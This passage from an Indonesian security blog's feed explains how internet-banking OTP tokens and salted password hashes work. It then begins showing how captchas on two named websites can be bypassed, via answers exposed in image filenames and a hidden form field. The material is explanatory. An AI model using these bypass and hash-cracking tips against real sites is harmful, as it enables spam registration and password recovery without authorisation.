<p style="text-align: justify;">Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah &#8220;Something You Have&#8221; yaitu kartu debit/kredit anda. Faktor kedua adalah &#8220;Something You Know&#8221;, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu &#8220;Something You Can&#8221;, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.</p>
<p style="text-align: justify;">Internet banking juga menggunakan two factor authentication dengan mengombinasikan &#8220;something you know&#8221; berupa password dan &#8220;something you have&#8221; berupa hardware token (keyBCA atau Token Mandiri).</p>
<p style="text-align: justify;"><strong>Password yang Dikeluarkan Token Internet Banking</strong></p>
<p style="text-align: justify;">Pada umumnya ada dua mode pemakaian token internet banking:</p>
<ol>
<li><strong>Mode Challenge/Response (C/R)</strong></li>
<p style="text-align: justify;">Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.</p>
<li><strong>Mode Self Generated (Response Only)<br />
</strong></li>
<p style="text-align: justify;">Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.</p>
</ol>
<p style="text-align: justify;">Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:</p>
<ol>
<li><strong>Hanya boleh dipakai 1 kali<br />
</strong></li>
<p style="text-align: justify;">Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.</p>
<li><strong>Hanya boleh dipakai dalam rentang waktu yang terbatas</strong></li>
<p style="text-align: justify;">Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.</p>
<li><strong>Hanya boleh dipakai dalam konteks sempit</strong></li>
<p style="text-align: justify;">Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.</p>
<p style="text-align: justify;">Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).</p>
<p style="text-align: justify;">Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.</p>
</ol>
<p style="text-align: justify;">Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:</p>
<ol>
<li>Selalu berubah-ubah secara periodik</li>
<li>Memiliki umur yang singkat</li>
<li>Hanya bisa dipakai 1 kali</li>
<li>Terbagi dalam ada dua jenis, yaitu:</li>
</ol>
<ul>
<li>Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.</li>
<li>Password bebas konteks yang dihasilkan dalam mode self generated.</li>
</ul>
<p style="text-align: justify;"><strong>Proses Otentikasi<br />
</strong></p>
<p>Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:</p>
<blockquote><p>password yang dikirimkan client = password yang disimpan di server</p></blockquote>
<p style="text-align: justify;">Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.</p>
<div id="attachment_560" class="wp-caption aligncenter" style="width: 560px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/01/password-hash-2.gif"><img class="size-full wp-image-560" title="password-hash-2" src="http://www.ilmuhacking.com/wp-content/uploads/2009/01/password-hash-2.gif" alt="courtesy of &quot;www.unixwiz.net/techtips/iguide-crypto-hashes.html&quot;" width="550" height="368" /></a><p class="wp-caption-text">courtesy of &quot;www.unixwiz.net/techtips/iguide-crypto-hashes.html&quot;</p></div>
<p><strong>Penggunaan Salt</strong></p>
<p style="text-align: justify;">Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah &#8220;secret&#8221;, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak &#8220;81090273&#8243; sehingga yang dihitung nilai hashnya adalah &#8220;secret81090273&#8243; bukan &#8220;secret&#8221;.</p>
<p style="text-align: justify;">Perhatikan bahwa nilai MD5(&#8220;secret81090273&#8243;) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(&#8220;secret&#8221;) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah <a href="http://gdataonline.com/seekhash.php" target="_blank">http://gdataonline.com/seekhash.php </a>. Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil &#8220;secret&#8221;. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret&lt;=&gt;5ebe2294ecd0e0f08eab7690d2a6ee69.</p>
<p style="text-align: justify;">Penambahan salt &#8220;81090273&#8243; membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah &#8220;secret81090273&#8243;. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.</p>
<p style="text-align: justify;">Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:</p>
<table border="1">
<tbody>
<tr>
<th>Username</th>
<th>Salt</th>
<th>Password Hash</th>
</tr>
<tr>
<td>budi</td>
<td>81090273</td>
<td>894240dbe3d2b546c05a1a8e9e0df1bc</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field <em>Password Hash </em>yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.</p>
<p style="text-align: justify;"><strong>Pembangkitan One Time Password (OTP) Token Internet Banking</strong></p>
<p style="text-align: justify;">Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.</p>
<p style="text-align: justify;"><strong>OTP dalam Mode Self Generated (Response Only)<br />
</strong></p>
<p style="text-align: justify;">Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.</p>
<p style="text-align: justify;">Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:</p>
<ol>
<li>Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.</li>
<li>Menggabungkan init-secret dengan waktu saat ini dari langkah 1.</li>
<li>Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.</li>
</ol>
<p style="text-align: justify;">Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.</p>
<p style="text-align: justify;">Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.</p>
<p style="text-align: justify;">Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.</p>
<p style="text-align: justify;">Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:</p>
<ol>
<li>Detik ketika server meminta password (OTP) dari user</li>
<li>Detik ketika token membangkitkan OTP</li>
<li>Detik ketika server menerima OTP dari user</li>
</ol>
<p>Perhatikan contoh di bawah ini:</p>
<p style="text-align: justify;">Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.</p>
<p style="text-align: justify;">Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.</p>
<p style="text-align: justify;">Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/otptoken1.jpg"><img class="aligncenter size-full wp-image-1454" title="otptoken1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/otptoken1.jpg" alt="otptoken1" width="600" height="178" /></a>Dalam contoh di atas bila user mengirimkan OTP &#8220;b1cdb9&#8243; maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.</p>
<p style="text-align: justify;">Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).</p>
<p style="text-align: justify;">Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420  hingga EPOCH/10=780.</p>
<p style="text-align: justify;">Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).</p>
<p style="text-align: justify;"><strong>Umur OTP</strong></p>
<p style="text-align: justify;">Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>OTP dalam Mode Challenge/Response</strong></p>
<p style="text-align: justify;">Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.</p>
<p style="text-align: justify;">Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/otptoken2.jpg"><img class="aligncenter size-full wp-image-1461" title="otptoken2" src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/otptoken2.jpg" alt="otptoken2" width="600" height="156" /></a></p>
<p style="text-align: justify;">Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 2553px; width: 1px; height: 1px;">Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah &#8220;rahasia&#8221;, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak &#8220;81090273&#8243; sehingga yang dihitung nilai hashnya adalah &#8220;rahasia81090273&#8243; bukan &#8220;rahasia&#8221;.</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=93-yfL2OOOU:J4zjHLtVN-Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=93-yfL2OOOU:J4zjHLtVN-Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=93-yfL2OOOU:J4zjHLtVN-Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=93-yfL2OOOU:J4zjHLtVN-Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=93-yfL2OOOU:J4zjHLtVN-Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=93-yfL2OOOU:J4zjHLtVN-Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=93-yfL2OOOU:J4zjHLtVN-Q:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=93-yfL2OOOU:J4zjHLtVN-Q:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/memahami-cara-kerja-token-internet-banking/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Captcha Salah Kaprah di Republika.co.id dan InfoGue.com</title>
		<link>http://www.ilmuhacking.com/web-security/captcha-salah-kaprah-di-republika-infogue/</link>
		<comments>http://www.ilmuhacking.com/web-security/captcha-salah-kaprah-di-republika-infogue/#comments</comments>
		<pubDate>Tue, 19 May 2009 04:30:24 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[captcha]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1400</guid>
		<description><![CDATA[Captcha kini menjadi andalan webmaster untuk membendung spam. Captca yang dimaksudkan untuk membedakan antara mesin dan manusia, tidak bisa dibuat secara sembarangan. Bila captcha dibuat sembarangan, maka fungsi dari captcha menjadi tidak ada karena mesin bisa dengan mudah menembusnya, bahkan mungkin justru mempersulit manusia. Dalam artikel ini saya akan menunjukkan dua contoh captcha yang salah [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Captcha kini menjadi andalan webmaster untuk membendung spam. Captca yang dimaksudkan untuk membedakan antara mesin dan manusia, tidak bisa dibuat secara sembarangan. Bila captcha dibuat sembarangan, maka fungsi dari captcha menjadi tidak ada karena mesin bisa dengan mudah menembusnya, bahkan mungkin justru mempersulit manusia. Dalam artikel ini saya akan menunjukkan dua contoh captcha yang salah kaprah karena  soal yang disajikan sulit dikerjakan manusia, namun mudah bagi mesin.</p>
<p><span id="more-1400"></span><strong>Bagaimana Seharusnya Captcha?</strong></p>
<p style="text-align: justify;">
Captcha adalah soal yang dibuat oleh mesin dan dirancang hanya bisa dijawab dengan sempurna oleh manusia, bukan oleh mesin. Jadi sesuai definisi tersebut, captcha haruslah memiliki kriteria:
</p>
<ul>
<li>Tidak bisa dijawab mesin dengan sempurna</li>
<li>Mudah dijawab manusia</li>
</ul>
<p style="text-align: justify;">
Captcha harus dirancang sedemikian hingga memenuhi kriteria di atas. Jadi kalau sampai ada captcha yang mempermudah mesin dan mempersulit manusia itu sebenarnya bukan captcha. Seperti apa bentuk captcha yang baik? Sebelumnya mari kita lihat dulu berbagai bentuk penyimpanan informasi.
</p>
<p style="text-align: justify;">Informasi dalam komputer bisa direpresentasikan dalam berbagai bentuk, mulai dari yang paling sederhana sampai paling kompleks:</p>
<ul>
<li>Text</li>
<li>Image dan Suara</li>
<li>Video</li>
</ul>
<p style="text-align: justify;">Text adalah bentuk penyimpanan informasi paling primitif dan sederhana. Informasi yang diambil dari text tidak memerlukan pemrosesan apa-apa, sehingga bisa langsung diambil mesin. Mesin tidak akan mengalami kesulitan mendapatkan informasi dalam bentu text.</p>
<p style="text-align: justify;">Bentuk yang lebih rumit lagi adalah image dan suara. Image dan suara dalam komputer disimpan dalam bentuk kumpulan warna pixel atau frekuensi suara kamudian diencode dalam format tertentu. Image dan suara mengandung informasi yang tersirat, implisit. Informasi dalam image dan suara harus  diproses dengan perhitungan dan komputasi yang kompleks untuk bisa menangkap informasi yang ada di dalamnya.</p>
<p style="text-align: justify;">Bentuk yang paling kompleks lagi adalah video. Video adalah kumpulan image dan suara yang disusun sedemikian rupa sehingga menampilkan animasi. Walaupun memilii tingkat kompleksitas tertinggi, jarang ada captcha dalam bentuk video karena pertimbangan besarnya ukuran file video dibandingkan file gambar atau suara.</p>
<p style="text-align: justify;">
Jadi bentuk captcha yang paling umum adalah berupa image. Informasi dalam image tidak mudah dibaca mesin, namun dari segi ukuran juga tidak terlalu besar. Namun tidak semua captcha berupa image adalah captcha yang baik, karena bila kode dalam captcha terlalu bersih, mesin bisa membaca dengan sempurna. Silakan baca artikel saya tentang bagaimana <a href="http://www.ilmuhacking.com/web-security/menjebol-captcha-dengan-ocr/" target="_blank">menjebol catpcha dengan OCR</a> (optical character reader).
</p>
<p style="text-align: justify;">
Alur penyelesaian captcha biasanya terdiri dari 2 langkah. Langkah pertama adalah langkah menerima soal, browser meminta suatu halaman ke web server, kemudian web server mengirimkan form HTML dan captcha yang harus dijawab. Setelah pengguna mengisi form dan jawaban captchanya, langkah kedua adalah langkah menjawab soal. Browser mengirimkan POST submit beserta jawaban captcha kembali ke webserver. Gambar berikut menunjukkan alur umum penyelesaian captcha.
</p>
<div id="attachment_1424" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/captchaflow.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/captchaflow-300x154.png" alt="captcha flow" title="captchaflow" width="300" height="154" class="size-medium wp-image-1424" /></a><p class="wp-caption-text">captcha flow</p></div>
<p><strong>Captcha Salah Kaprah</strong></p>
<p style="text-align: justify;">Saya menemukan beberapa website yang menggunakan captcha yang saya sebut salah kaprah karena captcha tersebut bukannya mempersulit mesin, namun justru memudahkan mesin, bahkan mempersulit manusia. Seharusnya captcha tidak boleh mempersulit manusia, tapi harus mempersulit mesin.</p>
<p style="text-align: justify;">Ternyata banyak juga webmaster yang masih kurang paham apa itu captcha dan bagaimana seharusnya captcha yang baik itu. Banyak webmaster yang hanya berpikir bahwa bila situsnya sudah diberi captcha, maka situsnya akan aman dari spammer. Padahal tidak semua captcha itu baik, captcha yang terlalu mudah dibaca mesin, tidak ada gunanya sama sekali, justru malah mempersulit pengguna dan membuat pengguna menjauhi situs tersebut.</p>
<p style="text-align: justify;">Mari kita bahas contoh captcha salah kaprah pada situs republika dan infogue.</p>
<p style="text-align: justify;"><strong>Breaking Captcha InfoGue.com</strong></p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguelogo.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguelogo.png" alt="infoguelogo" title="infoguelogo" width="184" height="46" class="alignleft size-full wp-image-1434" /></a></p>
<p style="text-align: justify;">Infogue.com adalah situs social bookmark lokal. Pengguna bisa memasukkan link untuk direview dan diberi point oleh pembaca yang lain. Social bookmark kini menjadi salah satu senjata andalan webmaster untuk mendongkrak popularitas situsnya dan meningkatkan pengunjung situs. Oleh karena itu situs social bookmark menjadi rawan akan serangan spammer yang ingin meningkatkan popularitas situsnya di search engine.</p>
<p style="text-align: justify;">Dalam artikel ini akan saya contohnya bagaimana menembus captcha pada saat registrasi. Registrasi dilakukan dengan membuka URL <a href="http://www.infogue.com/registration/" target="_blank">http://www.infogue.com/registration/</a>, kemudian pendaftar harus mengisi form pendaftaran, termasuk juga kode captcha. Berikut adalah tampilan web pada saat registrasi dilakukan.</p>
<p style="text-align: justify;">
<div id="attachment_1403" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha1.png"><img class="size-medium wp-image-1403" title="infoguecaptcha1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha1-300x199.png" alt="captcha registrasi" width="300" height="199" /></a><p class="wp-caption-text">captcha registrasi</p></div>
<p><B>Kesalahan 1: Captcha Terdiri dari 6 Gambar Terpisah</B></p>
<p style="text-align: justify;">Pada gambar di atas terlihat pada saat registrasi, pendaftar harus memasukkan kode captcha. Hal ini dimaksudkan webmaster situs tersebut agar tidak ada mesin/robot yang coba-coba mendaftar. Tapi mari kita lihat lebih detil lagi captcha pada form tersebut. Bila captcha tersebut dilihat dengan Addon Web Developer di Firefox, akan terlihat bahwa sebenarnya captcha itu bukan satu image tunggal, melainkan terdiri dari 6 gambar terpisah. Perhatikan gambar berikut ini.</p>
<p style="text-align: justify;">
<div id="attachment_1405" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha21.png"><img class="size-medium wp-image-1405" title="infoguecaptcha21" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha21-300x57.png" alt="looks like one single image" width="300" height="57" /></a><p class="wp-caption-text">looks like one single image</p></div>
<p style="text-align: left;">Gambar berikut ini adalah gambar bila captcha dilihat dengan Addon Web Developer.</p>
<div id="attachment_1406" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha3.png"><img class="size-medium wp-image-1406" title="infoguecaptcha3" src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha3-300x198.png" alt="6 different images" width="300" height="198" /></a><p class="wp-caption-text">6 different images</p></div>
<p style="text-align: justify;">
Terlihat bahwa gambar diatas bahwa captcha tersebut sebenarnya adalah 6 gambar yang berbeda. Lebih parah lagi adalah nama file dari gambar tersebut mencerminkan kode dalam gambar tersebut, sebagai contoh adalah file bernama k.jpg untuk gambar berkode huruf &#8220;k&#8221;. Kalau kita lihat source code dari halaman registrasi tersebut, maka kita akan temukan nama-nama file gambar tersebut. Berikut adalah potongan source html dari halaman registrasi tersebut.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">&lt;tr&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/k.jpg&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/3.jpg&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/k.jpg&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/d.jpg&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/5.jpg&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;http://www.infogue.com/submit/captcha/n.jpg&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;</pre></div></div>

<p style="text-align: justify;">
Dari source html tersebut terlihat jelas nama file gambar untuk setiap karakter captcha. Karena itu adalah source html, maka nama file tersebut tersaji dalam bentuk teks. Karena nama-nama file tersebut adalah jawaban dari captcha, maka untuk menembus captcha tersebut mesin hanya perlu membaca nama-nama file gambar dari source html yang didapatkan. Ingat bahwa bentuk penyimpanan informasi paling primitif adalah teks sehingga mesin tidak akan kesulitan untuk menjawab captcha tersebut karena mesin hanya perlu mendapatkan nama-nama filenya saja. Mesin tidak perlu sama sekali mendownload gambar capthanya, cukup tahu nama filenya saja dari source htmlnya saja untuk menjawab captcha dengan sempurna.
</p>
<p><B>Kesalahan 2: Jawaban Disimpan dalam Hidden Field</B></p>
<p style="text-align: justify;">
Ternyata kesalahan captcha pada infogue bukan cuma itu, namun kesalahan yang lebih fatal lagi adalah menyimpan jawaban capctha dalam hidden field. Kalau kita perhatikan field-field pada form, maka ada field bertipe &#8220;hidden&#8221; yang bernama captcha_code. Dengan Addon Web Developer kita bisa melihat detil field pada form. Perhatikan gambar di bawah ini untuk melihat field dalam form.
</p>
<div id="attachment_1413" class="wp-caption aligncenter" style="width: 286px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha4.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/05/infoguecaptcha4-276x300.png" alt="captcha_code hidden field" title="infoguecaptcha4" width="276" height="300" class="size-medium wp-image-1413" /></a><p class="wp-caption-text">captcha_code hidden field</p></div>
<p style="text-align: justify;">
Jadi selain dengan membaca nama file gambar seperti pada kesalahan 1 di atas, cara lain yang lebih mudah adalah dengan membaca isi hidden field captcha_code pada source htmlnya.
</p>
<p><B>Kesalahan 3: Jawaban Captcha Bisa Apa Saja</B></p>
<p style="text-align: justify;">
Kesalahan ini adalah kesalahan yang paling aneh. Sebelumnya sudah saya sebutkan pada kesalahan ke-2 bahwa ada hidden field (&#8220;input type=hidden&#8221;) bernama captcha_code. Ternyata fungsi dari captcha_code ini adalah sebagai kunci jawaban dari captcha. Agar lebih jelas, mari kita lihat traffic HTTP yang terjadi ketika form registrasi disubmit.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">http://www.infogue.com/registration/index.php
&nbsp;
